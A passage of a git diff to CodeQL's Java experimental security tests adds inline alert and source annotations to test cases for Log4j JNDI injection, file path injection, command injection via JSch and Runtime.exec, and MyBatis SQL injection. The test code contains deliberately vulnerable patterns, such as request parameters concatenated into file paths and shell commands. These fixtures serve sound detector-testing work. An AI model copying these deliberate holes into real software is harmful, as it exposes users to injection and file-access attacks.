// $ Alert + logger.warn((MessageSupplier) source(), (Throwable) null); // $ Alert + logger.warn((Message) source()); // $ Alert + logger.warn((Message) source(), (Throwable) null); // $ Alert + logger.warn(source()); // $ Alert + logger.warn(source(), (Throwable) null); // $ Alert + logger.warn((String) source()); // $ Alert + logger.warn((String) source(), (Object[]) null); // $ Alert + logger.warn((String) null, new Object[] {source()}); // $ Alert + logger.warn((String) null, (Object) source()); // $ Alert + logger.warn((String) source(), (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) source()); // $ Alert + logger.warn((String) null, (Object) source(), (Object) null); // $ Alert + logger.warn((String) source(), (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.warn((String) source(), (Supplier) null); // $ Alert + logger.warn((String) null, (Supplier) source()); // $ Alert + logger.warn((String) source(), (Throwable) null); // $ Alert + logger.warn((Supplier) source()); // $ Alert + logger.warn((Supplier) source(), (Throwable) null); // $ Alert // @formatter:on - logger.logMessage(null, null, null, null, (Message) source(), null); - logger.printf(null, null, (String) source(), (Object[]) null); - logger.printf(null, null, null, new Object[] {source()}); - logger.printf(null, (String) source(), (Object[]) null); - logger.printf(null, null, new Object[] {source()}); + logger.logMessage(null, null, null, null, (Message) source(), null); // $ Alert + logger.printf(null, null, (String) source(), (Object[]) null); // $ Alert + logger.printf(null, null, null, new Object[] {source()}); // $ Alert + logger.printf(null, (String) source(), (Object[]) null); // $ Alert + logger.printf(null, null, new Object[] {source()}); // $ Alert logger.traceEntry((Message) source()); logger.traceEntry((String) source(), (Object[]) null); logger.traceEntry((String) null, new Object[] {source()}); @@ -1017,109 +1017,109 @@ public class Log4jJndiInjectionTest { } { LogBuilder builder = null; - builder.log((CharSequence) source()); - builder.log((Message) source()); - builder.log(source()); - builder.log((String) source()); - builder.log((String) source(), (Object[]) null); - builder.log((String) null, new Object[] {source()}); - builder.log((String) null, source()); + builder.log((CharSequence) source()); // $ Alert + builder.log((Message) source()); // $ Alert + builder.log(source()); // $ Alert + builder.log((String) source()); // $ Alert + builder.log((String) source(), (Object[]) null); // $ Alert + builder.log((String) null, new Object[] {source()}); // $ Alert + builder.log((String) null, source()); // $ Alert // @formatter:off - builder.log((String) null, (Object) source()); - builder.log((String) source(), (Object) null); - builder.log((String) null, (Object) null, (Object) source()); - builder.log((String) null, (Object) source(), (Object) null); - builder.log((String) source(), (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) source()); - builder.log((String) null, (Object) null, (Object) source(), (Object) null); - builder.log((String) null, (Object) source(), (Object) null, (Object) null); - builder.log((String) source(), (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); + builder.log((String) null, (Object) source()); // $ Alert + builder.log((String) source(), (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) source()); // $ Alert + builder.log((String) null, (Object) source(), (Object) null); // $ Alert + builder.log((String) source(), (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + builder.log((String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + builder.log((String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + builder.log((String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + builder.log((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert // @formatter:on - builder.log((String) source(), (Supplier) null); - builder.log((String) null, (Supplier) source()); - builder.log((Supplier) source()); + builder.log((String) source(), (Supplier) null); // $ Alert + builder.log((String) null, (Supplier) source()); // $ Alert + builder.log((Supplier) source()); // $ Alert } { - ThreadContext.put("key", (String) source()); - ThreadContext.putIfNull("key", (String) source()); + ThreadContext.put("key", (String) source()); // $ Alert + ThreadContext.putIfNull("key", (String) source()); // $ Alert Map map = new HashMap(); map.put("key", (String) source()); - ThreadContext.putAll(map); + ThreadContext.putAll(map); // $ Alert } { MapMessage mmsg = new StringMapMessage().with("username", (String) source()); - logger.error(mmsg); + logger.error(mmsg); // $ Alert } { MapMessage mmsg = new StringMapMessage(); mmsg.with("username", (String) source()); - logger.error(mmsg); + logger.error(mmsg); // $ Alert } { MapMessage mmsg = new StringMapMessage(); mmsg.put("username", (String) source()); - logger.error(mmsg); + logger.error(mmsg); // $ Alert } { MapMessage mmsg = new StringMapMessage(); Map map = new HashMap(); map.put("username", (String) source()); mmsg.putAll(map); - logger.error(mmsg); + logger.error(mmsg); // $ Alert } { - CloseableThreadContext.put("username", (String) source()); - CloseableThreadContext.put("safe", "safe").put("username", (String) source()); + CloseableThreadContext.put("username", (String) source()); // $ Alert + CloseableThreadContext.put("safe", "safe").put("username", (String) source()); // $ Alert Map map = new HashMap(); map.put("username", (String) source()); - CloseableThreadContext.putAll(map); - CloseableThreadContext.put("safe", "safe").putAll(map); + CloseableThreadContext.putAll(map); // $ Alert + CloseableThreadContext.put("safe", "safe").putAll(map); // $ Alert } } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-073/FilePathInjection.java b/java/ql/test/experimental/query-tests/security/CWE-073/FilePathInjection.java index 2534386a210..6080167987c 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-073/FilePathInjection.java +++ b/java/ql/test/experimental/query-tests/security/CWE-073/FilePathInjection.java @@ -18,12 +18,12 @@ public class FilePathInjection extends Controller { // BAD: Upload file to user specified path without validation public void uploadFile() throws IOException { - String savePath = getPara("dir"); + String savePath = getPara("dir"); // $ Source File file = getFile("fileParam").getFile(); String finalFilePath = BASE_PATH + savePath; FileInputStream fis = new FileInputStream(file); - FileOutputStream fos = new FileOutputStream(finalFilePath); + FileOutputStream fos = new FileOutputStream(finalFilePath); // $ Alert int i = 0; do { @@ -61,7 +61,7 @@ public class FilePathInjection extends Controller { // BAD: Upload file to user specified path without validation through session attribute public void uploadFile3() throws IOException { - String savePath = getPara("dir"); + String savePath = getPara("dir"); // $ Source setSessionAttr("uploadDir", savePath); String sessionUploadDir = getSessionAttr("uploadDir"); @@ -69,7 +69,7 @@ public class FilePathInjection extends Controller { String finalFilePath = BASE_PATH + sessionUploadDir; FileInputStream fis = new FileInputStream(file); - FileOutputStream fos = new FileOutputStream(finalFilePath); + FileOutputStream fos = new FileOutputStream(finalFilePath); // $ Alert int i = 0; do { @@ -84,7 +84,7 @@ public class FilePathInjection extends Controller { // BAD: Upload file to user specified path without validation through request attribute public void uploadFile4() throws IOException { - String savePath = getPara("dir"); + String savePath = getPara("dir"); // $ Source setAttr("uploadDir2", savePath); String requestUploadDir = getAttr("uploadDir2"); @@ -92,7 +92,7 @@ public class FilePathInjection extends Controller { String finalFilePath = BASE_PATH + requestUploadDir; FileInputStream fis = new FileInputStream(file); - FileOutputStream fos = new FileOutputStream(finalFilePath); + FileOutputStream fos = new FileOutputStream(finalFilePath); // $ Alert int i = 0; do { @@ -179,7 +179,7 @@ public class FilePathInjection extends Controller { FileInputStream fis = null; try { os = resp.getOutputStream(); - fis = new FileInputStream(file); + fis = new FileInputStream(file); // $ Alert byte fileContent[] = new byte[(int) file.length()]; fis.read(fileContent); os.write(fileContent); @@ -202,12 +202,12 @@ public class FilePathInjection extends Controller { // BAD: Download file to user specified path without validation public void downloadFile() throws FileNotFoundException, IOException { HttpServletRequest request = getRequest(); - String path = request.getParameter("path"); + String path = request.getParameter("path"); // $ Source String filePath = BASE_PATH + path; HttpServletResponse resp = getResponse(); File file = new File(filePath); - if (path != null && file.exists()) { + if (path != null && file.exists()) { // $ Alert resp.setHeader("Content-type", "application/force-download"); resp.setHeader("Content-Disposition", "inline;filename=\"" + filePath + "\""); resp.setHeader("Content-Transfer-Encoding", "Binary"); diff --git a/java/ql/test/experimental/query-tests/security/CWE-073/FilePathInjection.qlref b/java/ql/test/experimental/query-tests/security/CWE-073/FilePathInjection.qlref index e0dc75098eb..c541d90b184 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-073/FilePathInjection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-073/FilePathInjection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-073/FilePathInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-078/CommandInjectionRuntimeExecLocal.qlref b/java/ql/test/experimental/query-tests/security/CWE-078/CommandInjectionRuntimeExecLocal.qlref index 24bd62c5a2e..9916b156289 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-078/CommandInjectionRuntimeExecLocal.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-078/CommandInjectionRuntimeExecLocal.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-078/CommandInjectionRuntimeExecLocal.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-078/ExecTainted.qlref b/java/ql/test/experimental/query-tests/security/CWE-078/ExecTainted.qlref index ddd01d29539..4db90bad013 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-078/ExecTainted.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-078/ExecTainted.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-078/ExecTainted.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-078/JSchOSInjectionTest.java b/java/ql/test/experimental/query-tests/security/CWE-078/JSchOSInjectionTest.java index 7b8c5a1181c..3b21f0de7f4 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-078/JSchOSInjectionTest.java +++ b/java/ql/test/experimental/query-tests/security/CWE-078/JSchOSInjectionTest.java @@ -11,7 +11,7 @@ public class JSchOSInjectionTest extends HttpServlet { String host = "sshHost"; String user = "user"; String password = "password"; - String command = request.getParameter("command"); + String command = request.getParameter("command"); // $ Source[java/command-line-injection-experimental] java.util.Properties config = new java.util.Properties(); config.put("StrictHostKeyChecking", "no"); @@ -24,7 +24,7 @@ public class JSchOSInjectionTest extends HttpServlet { session.connect(); Channel channel = session.openChannel("exec"); - ((ChannelExec) channel).setCommand("ping " + command); + ((ChannelExec) channel).setCommand("ping " + command); // $ Alert[java/command-line-injection-experimental] channel.setInputStream(null); ((ChannelExec) channel).setErrStream(System.err); @@ -37,7 +37,7 @@ public class JSchOSInjectionTest extends HttpServlet { String host = "sshHost"; String user = "user"; String password = "password"; - String command = request.getParameter("command"); + String command = request.getParameter("command"); // $ Source[java/command-line-injection-experimental] java.util.Properties config = new java.util.Properties(); config.put("StrictHostKeyChecking", "no"); @@ -50,7 +50,7 @@ public class JSchOSInjectionTest extends HttpServlet { session.connect(); ChannelExec channel = (ChannelExec)session.openChannel("exec"); - channel.setCommand("ping " + command); + channel.setCommand("ping " + command); // $ Alert[java/command-line-injection-experimental] channel.setInputStream(null); channel.setErrStream(System.err); diff --git a/java/ql/test/experimental/query-tests/security/CWE-078/RuntimeExecTest.java b/java/ql/test/experimental/query-tests/security/CWE-078/RuntimeExecTest.java index 203c3855c87..9d1ec9d73f7 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-078/RuntimeExecTest.java +++ b/java/ql/test/experimental/query-tests/security/CWE-078/RuntimeExecTest.java @@ -14,29 +14,29 @@ public class RuntimeExecTest { public static void test() { System.out.println("Command injection test"); - String script = System.getenv("SCRIPTNAME"); + String script = System.getenv("SCRIPTNAME"); // $ Source[java/command-line-injection-extra-local] if (script != null) { try { // 1. array literal in the args - Runtime.getRuntime().exec(new String[]{"/bin/sh", script}); + Runtime.getRuntime().exec(new String[]{"/bin/sh", script}); // $ Alert[java/command-line-injection-extra-local] // 2. array literal with dataflow String[] commandArray1 = new String[]{"/bin/sh", script}; - Runtime.getRuntime().exec(commandArray1); + Runtime.getRuntime().exec(commandArray1); // $ Alert[java/command-line-injection-extra-local] // 3. array assignment after it is created String[] commandArray2 = new String[4]; commandArray2[0] = "/bin/sh"; commandArray2[1] = script; - Runtime.getRuntime().exec(commandArray2); + Runtime.getRuntime().exec(commandArray2); // $ Alert[java/command-line-injection-extra-local] // 4. Stream concatenation Runtime.getRuntime().exec( - Stream.concat( + Stream.concat( // $ Arrays.stream(new String[]{"/bin/sh"}), Arrays.stream(new String[]{script}) - ).toArray(String[]::new) + ).toArray(String[]::new) // $ Alert[java/command-line-injection-extra-local] ); } catch (Exception e) { diff --git a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisAnnotationSqlInjection.qlref b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisAnnotationSqlInjection.qlref index 44302277a79..2ed491d5df0 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisAnnotationSqlInjection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisAnnotationSqlInjection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-089/MyBatisAnnotationSqlInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisMapperXmlSqlInjection.qlref b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisMapperXmlSqlInjection.qlref index 19e95a85de4..404b67d5001 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisMapperXmlSqlInjection.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MyBatisMapperXmlSqlInjection.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-089/MyBatisMapperXmlSqlInjection.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjection.java b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjection.java index 856c1d0b299..7ea49efbf9a 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjection.java +++ b/java/ql/test/experimental/query-tests/security/CWE-089/src/main/MybatisSqlInjection.java @@ -16,55 +16,55 @@ public class MybatisSqlInjection { private MybatisSqlInjectionService mybatisSqlInjectionService; @GetMapping(value = "msi1") - public 